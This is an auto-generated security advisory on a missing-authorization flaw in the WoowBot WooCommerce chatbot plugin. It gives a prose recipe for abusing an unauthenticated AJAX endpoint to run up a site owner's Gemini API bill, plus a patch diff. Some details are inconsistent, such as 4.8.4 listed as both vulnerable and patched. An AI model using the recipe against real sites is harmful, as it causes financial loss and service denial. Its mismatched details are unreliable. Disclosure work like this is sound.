Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-15241: AI ChatBot for WooCommerce – WoowBot < 4.8.4 Missing Authorization to Unauthenticated AI API Key Abuse PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.8.4
Patched Version 4.8.4
Disclosed August 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15241: The AI ChatBot for WooCommerce – WoowBot plugin for WordPress fails to verify authorization on the qcld_gemini_response AJAX action, allowing unauthenticated attackers to trigger Google Gemini content generation that bills the site owner’s API key. The vulnerability affects all versions prior to 4.8.4 and carries a CVSS score of 5.3 (CWE-862: Missing Authorization).

Root Cause: The qcld_gemini_response_callback method in woowbot-woocommerce-chatbot/includes/ai_integration/gemini/qcld-bot-gemini.php lacks any nonce or capability check before processing the request. The vulnerable version registers this handler via wp_ajax_nopriv_qcld_gemini_response, exposing it to unauthenticated users. The method reads the site’s Gemini API key from the qcld_gemini_api_key option and forwards the attacker-controlled keyword parameter (previously unsanitized, though marked with a phpcs ignore comment) directly to the Gemini API. Because no check_ajax_referer or current_user_can call occurs before the API request, any remote user can invoke this endpoint. The parallel change in class-common-function.php fixes an unrelated SQL injection in qcpd_relevant_pagelink by replacing string interpolation with $wpdb->prepare, but the primary authorization flaw remains in the Gemini callback.

Exploitation: An attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to qcld_gemini_response and an arbitrary keyword value. No nonce is required. The plugin reads the stored API key, calls the Gemini API with the supplied keyword, and returns the generated content. By repeating this request thousands of times, the attacker exhausts the site owner’s Gemini quota and incurs charges on the associated billing account. No authentication or special privileges are needed.

Patch Analysis: The patched version adds a nonce verification at the start of qcld_gemini_response_callback: it checks $_POST[‘nonce’] against the wp_chatbot nonce action and returns a JSON error with HTTP 200 (via wp_send_json_error) if the check fails. It also replaces the raw $_POST[‘keyword’] assignment with sanitize_text_field. These changes ensure only requests originating from the legitimate chat widget (which embeds the nonce) can trigger the endpoint, preventing unauthenticated API key abuse. The SQL injection fix in qcpd_relevant_pagelink uses $wpdb->prepare with a dynamically built placeholder list, eliminating the prior injection vector.

Impact: Successful exploitation allows an unauthenticated attacker to consume the site’s Gemini API quota and incur financial charges on the API key owner’s account. Depending on quota limits, this can also cause a denial of service for legitimate chatbot users when the quota is exhausted. No data is directly exposed, but the financial and availability impact is significant.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woowbot-woocommerce-chatbot/includes/ai_integration/gemini/qcld-bot-gemini.php
+++ b/woowbot-woocommerce-chatbot/includes/ai_integration/gemini/qcld-bot-gemini.php
@@ -200,11 +200,18 @@
                 wp_die();
         }
 		public function qcld_gemini_response_callback() {
+			if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( $_POST['nonce'] ), 'wp_chatbot' ) ) {
+				wp_send_json_error([
+					'status'  => 'error',
+					'message' => esc_html__( 'Security check failed. Unauthorized request.', 'woowbot-woocommerce-chatbot' )
+				]);
+				wp_die();
+			}
 			if (get_option('is_rate_limiting_enabled') == '1') {
 				do_action('rate_limit_checker');
 			}
 			$gemini_api_key   = get_option( 'qcld_gemini_api_key' );
-			$keyword          = isset($_POST['keyword']) ? $_POST['keyword'] : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing
+			$keyword          = isset($_POST['keyword']) ? sanitize_text_field($_POST['keyword']) : '';

 			$relevant_pagelink = Qcld_WoowBot_Common_Functions::qcpd_relevant_pagelink( $keyword );
 			$relevant_pagelink = array_slice( $relevant_pagelink, 0, 5, true );
--- a/woowbot-woocommerce-chatbot/includes/class-common-function.php
+++ b/woowbot-woocommerce-chatbot/includes/class-common-function.php
@@ -1,349 +1,356 @@
-<?php
-if (!defined('ABSPATH')) exit; // Exit if accessed directly
-/**
- * Common functions class
- */
-class Qcld_WoowBot_Common_Functions {
-
-
-    private static $instance = null;
-
-    public static function instance() {
-        if ( is_null( self::$instance ) ) {
-            self::$instance = new self();
-        }
-        return self::$instance;
-    }
-
-    private function __construct() {
-        add_action('wp_ajax_wpbot_save_feedback', array( $this, 'wpbot_save_feedback') );
-        add_action('wp_ajax_nopriv_wpbot_save_feedback', array( $this,'wpbot_save_feedback') );
-        add_action( 'wp_ajax_wpbot_save_report', array( $this, 'wpbot_save_report') );
-        add_action( 'wp_ajax_nopriv_wpbot_save_report', array( $this, 'wpbot_save_report') );
-        add_action('wp_ajax_nopriv_get_relevant_pages', array($this, 'qcld_get_relevant_pages_ajax'));
-		add_action('wp_ajax_rate_limit_settings_option', array($this, 'rate_limit_settings_option_callback'));
-        register_activation_hook(__FILE__, array('qcld_wpopenai_addons', 'schedule_rate_limit_reset_events'));
-        add_filter('cron_schedules', array($this, 'qcld_user_role_rate_cron_schedule'));
-		add_action('rate_limit_checker', array($this, 'rate_limit_checker'));
-        add_action('qcld_openai_user_rate_cal', array($this, 'qcld_openai_user_rate_cal'));
-		add_action('reset_rate_limit_used_counts', [$this, 'reset_rate_limit_used_counts'], 10, 1);
-
-    }
-    /**
-     * Remove stopwords from search query
-     *
-     * @param string $query The search query
-     * @param array $stopwords Array of stopwords to remove
-     * @return string Query with stopwords removed
-     */
-    public static function qcpd_remove_wa_stopwords($query, $stopwords) {
-        return preg_replace('/b('.implode('|',$stopwords).')b/','',$query);
-    }
-
-    /**
-     * Get relevant page links based on search query
-     *
-     * @param string $search_query The search query
-     * @return array Array of relevant page links
-     */
-    public static function qcpd_relevant_pagelink($search_query) {
-        $stopwords = explode(',', get_option('qlcd_wp_chatbot_stop_words'));
-
-        $finalQueryWordsWithoutStopWords = self::qcpd_remove_wa_stopwords(strtolower($search_query), $stopwords);
-
-        $cleanWordsWithoutPunctuationMarks = preg_replace('/[p{P}]/u', '', $finalQueryWordsWithoutStopWords);
-
-        $q = trim($cleanWordsWithoutPunctuationMarks);
-
-        $links = [];
-
-        $post_type_array = get_option('qcld_openai_relevant_post');
-
-		 if ( ! empty( $post_type_list ) ) {
-                $sql = "SELECT ID FROM {$wpdb->posts} WHERE post_status = 'publish' AND post_type IN ('{$post_type_list}') AND (post_title LIKE %s OR post_content LIKE %s) ORDER BY post_date DESC LIMIT 5";
-                $post_ids = $wpdb->get_col( $wpdb->prepare( $sql, $search_term, $search_term ) );
-
-                if ( ! empty( $post_ids ) ) {
-                    foreach ( $post_ids as $post_id ) {
-                        $url  = esc_url( get_permalink( $post_id ) );
-                        $title = get_the_title( $post_id );
-                        $link = '<li><mark><a style="color: #000" href=' . $url . '>' . esc_html( $title ) . '</a><mark></li>';
-                        array_push( $links, $link );
-                    }
-                }
-            }
-
-        $links = array_unique($links);
-        return $links;
-    }
-
-
-    public function wpbot_save_feedback() {
-        check_ajax_referer('wp_chatbot', 'nonce');
-        global $wpdb;
-
-        $table = $wpdb->prefix . 'wpbot_chat_report';
-
-        $user_id        = intval(wp_unslash($_POST['user_id']));
-        $conversation_id= intval(wp_unslash($_POST['conversation_id']));
-        $message        = sanitize_text_field(wp_unslash($_POST['message']));
-        $feedback       = sanitize_text_field(wp_unslash($_POST['feedback'])); // "like" or "dislike"
-        $meta_info      = sanitize_textarea_field(wp_unslash($_POST['meta_info']));
-        $date           = current_time('mysql');
-
-        $inserted = $wpdb->insert($table, array(
-            'user_id'        => $user_id,
-            'conversation_id'=> $conversation_id,
-            'message'        => $message,
-            'feedback'       => $feedback,
-            'meta_info'      => $meta_info,
-            'created_at'     => $date
-        ));
-
-        if ($inserted !== false) {
-            wp_send_json_success(array('message' => 'Feedback saved.'));
-        } else {
-            wp_send_json_error(array('message' => 'Failed to save feedback.'));
-        }
-    }
-
-    /**
-     * Save report func
-     *
-     */
-
-
-        public function wpbot_save_report() {
-            check_ajax_referer('wp_chatbot', 'nonce');
-            global $wpdb;
-            $table_report = $wpdb->prefix . 'wpbot_chat_report';
-
-            $email       = sanitize_email(wp_unslash($_POST['email']));
-            $message     = sanitize_textarea_field(wp_unslash($_POST['message']));
-            $report_text = sanitize_textarea_field(wp_unslash($_POST['report_text']));
-
-            $wpdb->insert(
-                $table_report,
-                [
-                    'user_id' => get_current_user_id(), // or match from wpbot_user.
-                    'message' => $message,
-                    'meta_info' => maybe_serialize( [ 'email' => $email, 'report_text' => $report_text ] ),
-                ],
-                [ '%d', '%s', '%s' ]
-            );
-
-            // Send report email to admin
-            $admin_email = get_option( 'admin_email' );
-            $subject = "New Chat Report";
-            $body = "Reported Message:n{$message}nnReport Text:n{$report_text}nnUser Email: {$email}";
-            wp_mail( $admin_email, $subject, $body );
-
-            wp_send_json_success();
-        }
-        public function rate_limit_settings_option_callback()
-		{
-			// Check is admin and verify nonce
-			if (! current_user_can('manage_options')) {
-				wp_send_json_error('Unauthorized');
-				wp_die();
-			}
-			check_ajax_referer( 'wp_chatbot_admin', 'nonce' );
-			// Save the rate limiting enabled/disabled setting
-			if (isset($_POST['is_rate_limiting_enabled'])) {
-				$is_rate_limiting_enabled = intval( wp_unslash( $_POST['is_rate_limiting_enabled'] ) );
-				update_option('is_rate_limiting_enabled', $is_rate_limiting_enabled);
-			}
-			// Save the rate limits for each role
-			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
-			if (isset($_POST['rate_limits']) && is_array( $_POST['rate_limits'] )) {
-				$rate_limits = array_map( 'sanitize_text_field', wp_unslash( $_POST['rate_limits'] ) );
-				foreach ($rate_limits as $role => $limit) {
-					$option_name = 'rate_limit_' . sanitize_key( $role );
-					$limit_value = intval($limit);
-					update_option($option_name, $limit_value);
-					// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
-					$timeframe_raw = isset( $_POST['rate_limit_timeframes'][ $role ] ) ? sanitize_text_field( wp_unslash( $_POST['rate_limit_timeframes'][ $role ] ) ) : '24';
-					$timeframe = intval($timeframe_raw) * 3600; // Convert hours to seconds
-					update_option('rate_limit_timeframe_' . $role, $timeframe);
-				}
-				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
-				$guest_timeframe_raw = isset( $_POST['rate_limit_timeframes']['guest'] ) ? sanitize_text_field( wp_unslash( $_POST['rate_limit_timeframes']['guest'] ) ) : '24';
-				$timeframe = intval($guest_timeframe_raw) * 3600; // Convert hours to seconds
-				update_option('rate_limit_timeframe_guest', $timeframe);
-			}
-			// In your rate_limit_settings_option_callback(), after updating options:
-			$this->schedule_rate_limit_reset_events();
-			wp_send_json_success('Settings saved');
-			wp_die();
-		}
-        public function qcld_user_role_rate_cron_schedule($schedules)
-		{
-			$roles = wp_roles()->roles;
-			foreach ($roles as $role => $details) {
-				$timeframe =  intval(get_option('rate_limit_timeframe_' . $role, true));
-				// Minimum 3600 seconds
-				$schedules['session_schedules_rate_limit_' . $role] = array(
-					'interval' => $timeframe,
-					'display'  => esc_html( 'session_schedules_rate_limit_' . $role ),
-				);
-				// Schedule the cron job for each role if not already scheduled);
-			}
-			return $schedules;
-		}
-        // wpshedule event to reset the rate limit used counts
-		public function schedule_rate_limit_reset_events()
-		{
-			// Ensure WordPress cron functions are available
-			if (! function_exists('wp_schedule_event')) {
-				require_once ABSPATH . 'wp-includes/wp-cron.php';
-			}
-			$roles = wp_roles()->roles;
-			foreach ($roles as $role => $d) {
-				// Unschedule all existing events for this role
-				$timestamp = wp_next_scheduled('reset_rate_limit_used_counts', array($role));
-				while ($timestamp) {
-					wp_unschedule_event($timestamp, 'reset_rate_limit_used_counts', array($role));
-					$timestamp = wp_next_scheduled('reset_rate_limit_used_counts', array($role));
-				}
-				// Schedule new event with updated interval
-				wp_schedule_event(time(), 'session_schedules_rate_limit_' . $role, 'reset_rate_limit_used_counts', array($role));
-			}
-		}
-        public function qcld_wpsession_cron_deactivation()
-		{
-			$timestamp = wp_next_scheduled('reset_rate_limit_used_counts');
-			wp_unschedule_event($timestamp, 'reset_rate_limit_used_counts');
-		}
-        public function rate_limit_checker()
-		{
-			$qlcd_wp_chatbot_ai_rate_limiting_message = qcld_wb_woowbot_func_str_replace(
-				maybe_unserialize(get_option('qlcd_wp_chatbot_ai_rate_limiting_message', true))
-			);
-			if (get_option('qcld_openai_stream_enabled') == 1) {
-				$response = array(
-					'status'  => 'error',
-					'message' => esc_html__((is_array($qlcd_wp_chatbot_ai_rate_limiting_message) && !empty($qlcd_wp_chatbot_ai_rate_limiting_message[0]) ? $qlcd_wp_chatbot_ai_rate_limiting_message[0] : 'Rate limit exceeded. Please try again later.'), 'woowbot-woocommerce-chatbot'),
-
-				);
-			} else {
-				$response = array(
-					'status'  => 'success',
-					'message' => esc_html__((is_array($qlcd_wp_chatbot_ai_rate_limiting_message) && !empty($qlcd_wp_chatbot_ai_rate_limiting_message[0]) ? $qlcd_wp_chatbot_ai_rate_limiting_message[0] : 'Rate limit exceeded. Please try again later.'), 'woowbot-woocommerce-chatbot'),
-				);
-			}
-			if (is_user_logged_in()) {
-				$user = wp_get_current_user();
-				if (! empty($user->roles) && is_array($user->roles)) {
-					$role        = $user->roles[0];
-					$option_name = 'rate_limit_' . $role;
-					$limit       = get_option($option_name);
-					$rate_limit  = get_user_meta(get_current_user_id(), 'qcld_openai_user_rate_limit', true);
-					if (($limit >= $rate_limit) || $limit == 0) {
-						return; // allowed
-					} else {
-						if (get_option('qcld_openai_stream_enabled') == 1) {
-							wp_send_json($response); //Proper JSON with header.
-						} else {
-							echo json_encode($response);
-							wp_die();
-						}
-					}
-				}
-			} else {
-				$option_name = 'rate_limit_guest';
-				$limit       = get_option($option_name);
-
-				if (session_status() == PHP_SESSION_NONE) {
-					session_start();
-				}
-
-				$guest_rate_limit = isset($_SESSION['guest_rate_limit']) ? intval($_SESSION['guest_rate_limit']) : 0;
-
-				if ($limit >= $guest_rate_limit || $limit == 0) {
-					return; // allowed
-				} else {
-					if (get_option('qcld_openai_stream_enabled') == 1) {
-						wp_send_json($response); //Proper JSON with header.
-					} else {
-						echo json_encode($response);
-						// Return role if limit exceeded
-						wp_die();
-					}
-				}
-			}
-		}
-
-        public function reset_rate_limit_used_counts($role)
-		{
-			if (empty($role)) {
-				return;
-			}
-			// Resetting rate limit used counts for role.
-			// loop through each role
-			// for each role get all users with that role
-			$roles = wp_roles()->roles;
-			foreach ($roles as $list_roll => $details) {
-				if ($list_roll != $role) {
-					continue;
-				} else {
-					$option_name = 'rate_limit_' . $role;
-					$limit = get_option($option_name); // Default to  if not set
-					$users = get_users(array('role' => $role));
-					foreach ($users as $user) {
-						update_user_meta($user->ID, 'qcld_openai_user_rate_limit', 0);
-					}
-				}
-			}
-		}
-        public function qcld_openai_user_rate_cal($update)
-		{
-			if (is_user_logged_in()) {
-				$rate_limit = get_user_meta(get_current_user_id(), 'qcld_openai_user_rate_limit', true);
-				if ($update != '') {
-					$rate_limit = intval($rate_limit) + intval($update);
-				}
-				update_user_meta(get_current_user_id(), 'qcld_openai_user_rate_limit', $rate_limit);
-				return;
-			} else {
-				// for guest users we will use session to store the rate limit
-				// if session is not started then start it
-				if (session_status() == PHP_SESSION_NONE) {
-					session_start();
-				}
-				// we will use guest_id to identify the guest user
-				if (! isset($_SESSION['guest_id'])) {
-					$user_ip    = isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : '';
-					$session_id = md5($user_ip . time());
-					$_SESSION['guest_id'] = $session_id;
-					$_SESSION['guest_id_time'][$session_id] = time();
-					get_option('rate_', 10);
-					// if guest_id_time is set and it is older than 24 hours then unset the guest_id
-					// we will store the time when the guest_id was created in session
-					$timeframe = get_option('rate_limit_timeframe_guest', true);
-					$timeframe = intval($timeframe) * 3600; // convert hours to seconds
-					if (isset($_SESSION['guest_id_time'][$session_id]) && (time() - $_SESSION['guest_id_time'][$session_id]) > $timeframe) {
-						unset($_SESSION['guest_id']);
-						unset($_SESSION['guest_id_time']);
-					}
-					// we will store the time when the guest_id was created in session
-					$_SESSION['guest_id_time'][$session_id] = time();
-					$_SESSION['guest_rate_limit'] = 0;
-				}
-				// update the rate limit
-				// if update is not empty then add it to the existing rate limit else set it
-				if ($update != '') {
-					$guest_rate_limit = isset($_SESSION['guest_rate_limit']) ? intval($_SESSION['guest_rate_limit']) : 0;
-					// add the update to the existing rate limit
-					// set the rate limit in session
-					$_SESSION['guest_rate_limit'] =  $guest_rate_limit + $update;
-					return;
-				}
-			}
-		}
-
-}
-
-/**
- * Instantiate the class
- */
-Qcld_WoowBot_Common_Functions::instance();
+<?php
+if (!defined('ABSPATH')) exit; // Exit if accessed directly
+/**
+ * Common functions class
+ */
+class Qcld_WoowBot_Common_Functions {
+
+
+    private static $instance = null;
+
+    public static function instance() {
+        if ( is_null( self::$instance ) ) {
+            self::$instance = new self();
+        }
+        return self::$instance;
+    }
+
+    private function __construct() {
+        add_action('wp_ajax_wpbot_save_feedback', array( $this, 'wpbot_save_feedback') );
+        add_action('wp_ajax_nopriv_wpbot_save_feedback', array( $this,'wpbot_save_feedback') );
+        add_action( 'wp_ajax_wpbot_save_report', array( $this, 'wpbot_save_report') );
+        add_action( 'wp_ajax_nopriv_wpbot_save_report', array( $this, 'wpbot_save_report') );
+        add_action('wp_ajax_nopriv_get_relevant_pages', array($this, 'qcld_get_relevant_pages_ajax'));
+		add_action('wp_ajax_rate_limit_settings_option', array($this, 'rate_limit_settings_option_callback'));
+        register_activation_hook(__FILE__, array('qcld_wpopenai_addons', 'schedule_rate_limit_reset_events'));
+        add_filter('cron_schedules', array($this, 'qcld_user_role_rate_cron_schedule'));
+		add_action('rate_limit_checker', array($this, 'rate_limit_checker'));
+        add_action('qcld_openai_user_rate_cal', array($this, 'qcld_openai_user_rate_cal'));
+		add_action('reset_rate_limit_used_counts', [$this, 'reset_rate_limit_used_counts'], 10, 1);
+
+    }
+    /**
+     * Remove stopwords from search query
+     *
+     * @param string $query The search query
+     * @param array $stopwords Array of stopwords to remove
+     * @return string Query with stopwords removed
+     */
+    public static function qcpd_remove_wa_stopwords($query, $stopwords) {
+        return preg_replace('/b('.implode('|',$stopwords).')b/','',$query);
+    }
+
+    /**
+     * Get relevant page links based on search query
+     *
+     * @param string $search_query The search query
+     * @return array Array of relevant page links
+     */
+    public static function qcpd_relevant_pagelink($search_query) {
+        $stopwords = explode(',', get_option('qlcd_wp_chatbot_stop_words'));
+
+        $finalQueryWordsWithoutStopWords = self::qcpd_remove_wa_stopwords(strtolower($search_query), $stopwords);
+
+        $cleanWordsWithoutPunctuationMarks = preg_replace('/[p{P}]/u', '', $finalQueryWordsWithoutStopWords);
+
+        $q = trim($cleanWordsWithoutPunctuationMarks);
+
+        $links = [];
+
+        $post_type_array = get_option('qcld_openai_relevant_post');
+        global $wpdb;
+
+        if ( ! empty( $post_type_array ) ) {
+                if ( ! is_array( $post_type_array ) ) {
+                    $post_type_array = array( $post_type_array );
+                }
+                $placeholders = implode( ', ', array_fill( 0, count( $post_type_array ), '%s' ) );
+                $search_term = '%' . $wpdb->esc_like( $q ) . '%';
+                $query = "SELECT ID FROM {$wpdb->posts} WHERE post_status = 'publish' AND post_type IN ($placeholders) AND (post_title LIKE %s OR post_content LIKE %s) ORDER BY post_date DESC LIMIT 5";
+                $args = array_merge( $post_type_array, array( $search_term, $search_term ) );
+                $post_ids = $wpdb->get_col( $wpdb->prepare( $query, ...$args ) );
+
+                if ( ! empty( $post_ids ) ) {
+                    foreach ( $post_ids as $post_id ) {
+                        $url  = esc_url( get_permalink( $post_id ) );
+                        $title = get_the_title( $post_id );
+                        $link = '<li><mark><a style="color: #000" href=' . $url . '>' . esc_html( $title ) . '</a><mark></li>';
+                        array_push( $links, $link );
+                    }
+                }
+            }
+
+        $links = array_unique($links);
+        return $links;
+    }
+
+
+    public function wpbot_save_feedback() {
+        check_ajax_referer('wp_chatbot', 'nonce');
+        global $wpdb;
+
+        $table = $wpdb->prefix . 'wpbot_chat_report';
+
+        $user_id        = intval(wp_unslash($_POST['user_id']));
+        $conversation_id= intval(wp_unslash($_POST['conversation_id']));
+        $message        = sanitize_text_field(wp_unslash($_POST['message']));
+        $feedback       = sanitize_text_field(wp_unslash($_POST['feedback'])); // "like" or "dislike"
+        $meta_info      = sanitize_textarea_field(wp_unslash($_POST['meta_info']));
+        $date           = current_time('mysql');
+
+        $inserted = $wpdb->insert($table, array(
+            'user_id'        => $user_id,
+            'conversation_id'=> $conversation_id,
+            'message'        => $message,
+            'feedback'       => $feedback,
+            'meta_info'      => $meta_info,
+            'created_at'     => $date
+        ));
+
+        if ($inserted !== false) {
+            wp_send_json_success(array('message' => 'Feedback saved.'));
+        } else {
+            wp_send_json_error(array('message' => 'Failed to save feedback.'));
+        }
+    }
+
+    /**
+     * Save report func
+     *
+     */
+
+
+        public function wpbot_save_report() {
+            check_ajax_referer('wp_chatbot', 'nonce');
+            global $wpdb;
+            $table_report = $wpdb->prefix . 'wpbot_chat_report';
+
+            $email       = sanitize_email(wp_unslash($_POST['email']));
+            $message     = sanitize_textarea_field(wp_unslash($_POST['message']));
+            $report_text = sanitize_textarea_field(wp_unslash($_POST['report_text']));
+
+            $wpdb->insert(
+                $table_report,
+                [
+                    'user_id' => get_current_user_id(), // or match from wpbot_user.
+                    'message' => $message,
+                    'meta_info' => maybe_serialize( [ 'email' => $email, 'report_text' => $report_text ] ),
+                ],
+                [ '%d', '%s', '%s' ]
+            );
+
+            // Send report email to admin
+            $admin_email = get_option( 'admin_email' );
+            $subject = "New Chat Report";
+            $body = "Reported Message:n{$message}nnReport Text:n{$report_text}nnUser Email: {$email}";
+            wp_mail( $admin_email, $subject, $body );
+
+            wp_send_json_success();
+        }
+        public function rate_limit_settings_option_callback()
+		{
+			// Check is admin and verify nonce
+			if (! current_user_can('manage_options')) {
+				wp_send_json_error('Unauthorized');
+				wp_die();
+			}
+			check_ajax_referer( 'wp_chatbot_admin', 'nonce' );
+			// Save the rate limiting enabled/disabled setting
+			if (isset($_POST['is_rate_limiting_enabled'])) {
+				$is_rate_limiting_enabled = intval( wp_unslash( $_POST['is_rate_limiting_enabled'] ) );
+				update_option('is_rate_limiting_enabled', $is_rate_limiting_enabled);
+			}
+			// Save the rate limits for each role
+			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
+			if (isset($_POST['rate_limits']) && is_array( $_POST['rate_limits'] )) {
+				$rate_limits = array_map( 'sanitize_text_field', wp_unslash( $_POST['rate_limits'] ) );
+				foreach ($rate_limits as $role => $limit) {
+					$option_name = 'rate_limit_' . sanitize_key( $role );
+					$limit_value = intval($limit);
+					update_option($option_name, $limit_value);
+					// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
+					$timeframe_raw = isset( $_POST['rate_limit_timeframes'][ $role ] ) ? sanitize_text_field( wp_unslash( $_POST['rate_limit_timeframes'][ $role ] ) ) : '24';
+					$timeframe = intval($timeframe_raw) * 3600; // Convert hours to seconds
+					update_option('rate_limit_timeframe_' . $role, $timeframe);
+				}
+				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
+				$guest_timeframe_raw = isset( $_POST['rate_limit_timeframes']['guest'] ) ? sanitize_text_field( wp_unslash( $_POST['rate_limit_timeframes']['guest'] ) ) : '24';
+				$timeframe = intval($guest_timeframe_raw) * 3600; // Convert hours to seconds
+				update_option('rate_limit_timeframe_guest', $timeframe);
+			}
+			// In your rate_limit_settings_option_callback(), after updating options:
+			$this->schedule_rate_limit_reset_events();
+			wp_send_json_success('Settings saved');
+			wp_die();
+		}
+        public function qcld_user_role_rate_cron_schedule($schedules)
+		{
+			$roles = wp_roles()->roles;
+			foreach ($roles as $role => $details) {
+				$timeframe =  intval(get_option('rate_limit_timeframe_' . $role, true));
+				// Minimum 3600 seconds
+				$schedules['session_schedules_rate_limit_' . $role] = array(
+					'interval' => $timeframe,
+					'display'  => esc_html( 'session_schedules_rate_limit_' . $role ),
+				);
+				// Schedule the cron job for each role if not already scheduled);
+			}
+			return $schedules;
+		}
+        // wpshedule event to reset the rate limit used counts
+		public function schedule_rate_limit_reset_events()
+		{
+			// Ensure WordPress cron functions are available
+			if (! function_exists('wp_schedule_event')) {
+				require_once ABSPATH . 'wp-includes/wp-cron.php';
+			}
+			$roles = wp_roles()->roles;
+			foreach ($roles as $role => $d) {
+				// Unschedule all existing events for this role
+				$timestamp = wp_next_scheduled('reset_rate_limit_used_counts', array($role));
+				while ($timestamp) {
+					wp_unschedule_event($timestamp, 'reset_rate_limit_used_counts', array($role));
+					$timestamp = wp_next_scheduled('reset_rate_limit_used_counts', array($role));
+				}
+				// Schedule new event with updated interval
+				wp_schedule_event(time(), 'session_schedules_rate_limit_' . $role, 'reset_rate_limit_used_counts', array($role));
+			}
+		}
+        public function qcld_wpsession_cron_deactivation()
+		{
+			$timestamp = wp_next_scheduled('reset_rate_limit_used_counts');
+			wp_unschedule_event($timestamp, 'reset_rate_limit_used_counts');
+		}
+        public function rate_limit_checker()
+		{
+			$qlcd_wp_chatbot_ai_rate_limiting_message = qcld_wb_woowbot_func_str_replace(
+				maybe_unserialize(get_option('qlcd_wp_chatbot_ai_rate_limiting_message', true))
+			);
+			if (get_option('qcld_openai_stream_enabled') == 1) {
+				$response = array(
+					'status'  => 'error',
+					'message' => esc_html__((is_array($qlcd_wp_chatbot_ai_rate_limiting_message) && !empty($qlcd_wp_chatbot_ai_rate_limiting_message[0]) ? $qlcd_wp_chatbot_ai_rate_limiting_message[0] : 'Rate limit exceeded. Please try again later.'), 'woowbot-woocommerce-chatbot'),
+
+				);
+			} else {
+				$response = array(
+					'status'  => 'success',
+					'message' => esc_html__((is_array($qlcd_wp_chatbot_ai_rate_limiting_message) && !empty($qlcd_wp_chatbot_ai_rate_limiting_message[0]) ? $qlcd_wp_chatbot_ai_rate_limiting_message[0] : 'Rate limit exceeded. Please try again later.'), 'woowbot-woocommerce-chatbot'),
+				);
+			}
+			if (is_user_logged_in()) {
+				$user = wp_get_current_user();
+				if (! empty($user->roles) && is_array($user->roles)) {
+					$role        = $user->roles[0];
+					$option_name = 'rate_limit_' . $role;
+					$limit       = get_option($option_name);
+					$rate_limit  = get_user_meta(get_current_user_id(), 'qcld_openai_user_rate_limit', true);
+					if (($limit >= $rate_limit) || $limit == 0) {
+						return; // allowed
+					} else {
+						if (get_option('qcld_openai_stream_enabled') == 1) {
+							wp_send_json($response); //Proper JSON with header.
+						} else {
+							echo json_encode($response);
+							wp_die();
+						}
+					}
+				}
+			} else {
+				$option_name = 'rate_limit_guest';
+				$limit       = get_option($option_name);
+
+				if (session_status() == PHP_SESSION_NONE) {
+					session_start();
+				}
+
+				$guest_rate_limit = isset($_SESSION['guest_rate_limit']) ? intval($_SESSION['guest_rate_limit']) : 0;
+
+				if ($limit >= $guest_rate_limit || $limit == 0) {
+					return; // allowed
+				} else {
+					if (get_option('qcld_openai_stream_enabled') == 1) {
+						wp_send_json($response); //Proper JSON with header.
+					} else {
+						echo json_encode($response);
+						// Return role if limit exceeded
+						wp_die();
+					}
+				}
+			}
+		}
+
+        public function reset_rate_limit_used_counts($role)
+		{
+			if (empty($role)) {
+				return;
+			}
+			// Resetting rate limit used counts for role.
+			// loop through each role
+			// for each role get all users with that role
+			$roles = wp_roles()->roles;
+			foreach ($roles as $list_roll => $details) {
+				if ($list_roll != $role) {
+					continue;
+				} else {
+					$option_name = 'rate_limit_' . $role;
+					$limit = get_option($option_name); // Default to  if not set
+					$users = get_users(array('role' => $role));
+					foreach ($users as $user) {
+						update_user_meta($user->ID, 'qcld_openai_user_rate_limit', 0);
+					}
+				}
+			}
+		}
+        public function qcld_openai_user_rate_cal($update)
+		{
+			if (is_user_logged_in()) {
+				$rate_limit = get_user_meta(get_current_user_id(), 'qcld_openai_user_rate_limit', true);
+				if ($update != '') {
+					$rate_limit = intval($rate_limit) + intval($update);
+				}
+				update_user_meta(get_current_user_id(), 'qcld_openai_user_rate_limit', $rate_limit);
+				return;
+			} else {
+				// for guest users we will use session to store the rate limit
+				// if session is not started then start it
+				if (session_status() == PHP_SESSION_NONE) {
+					session_start();
+				}
+				// we will use guest_id to identify the guest user
+				if (! isset($_SESSION['guest_id'])) {
+					$user_ip    = isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : '';
+					$session_id = md5($user_ip . time());
+					$_SESSION['guest_id'] = $session_id;
+					$_SESSION['guest_id_time'][$session_id] = time();
+					get_option('rate_', 10);
+					// if guest_id_time is set and it is older than 24 hours then unset the guest_id
+					// we will store the time when the guest_id was created in session
+					$timeframe = get_option('rate_limit_timeframe_guest', true);
+					$timeframe = intval($timeframe) * 3600; // convert hours to seconds
+					if (isset($_SESSION['guest_id_time'][$session_id]) && (time() - $_SESSION['guest_id_time'][$session_id]) > $timeframe) {
+						unset($_SESSION['guest_id']);
+						unset($_SESSION['guest_id_time']);
+					}
+					// we will store the time when the guest_id was created in session
+					$_SESSION['guest_id_time'][$session_id] = time();
+					$_SESSION['guest_rate_limit'] = 0;
+				}
+				// update the rate limit
+				// if update is not empty then add it to the existing rate limit else set it
+				if ($update != '') {
+					$guest_rate_limit = isset($_SESSION['guest_rate_limit']) ? intval($_SESSION['guest_rate_limit']) : 0;
+					// add the update to the existing rate limit
+					// set the rate limit in session
+					$_SESSION['guest_rate_limit'] =  $guest_rate_limit + $update;
+					return;
+				}
+			}
+		}
+
+}
+
+/**
+ * Instantiate the class
+ */
+Qcld_WoowBot_Common_Functions::instance();
--- a/woowbot-woocommerce-chatbot/qcld-woowbot.php
+++ b/woowbot-woocommerce-chatbot/qcld-woowbot.php
@@ -4,7 +4,7 @@
     * Plugin URI: https://wordpress.org/plugins/woowbot-woocommerce-chatbot/
     * Description: ChatBot for WooCommerce - WoowBot
     * Donate link: https://woowbot.pro/
-    * Version: 4.8.3
+    * Version: 4.8.4
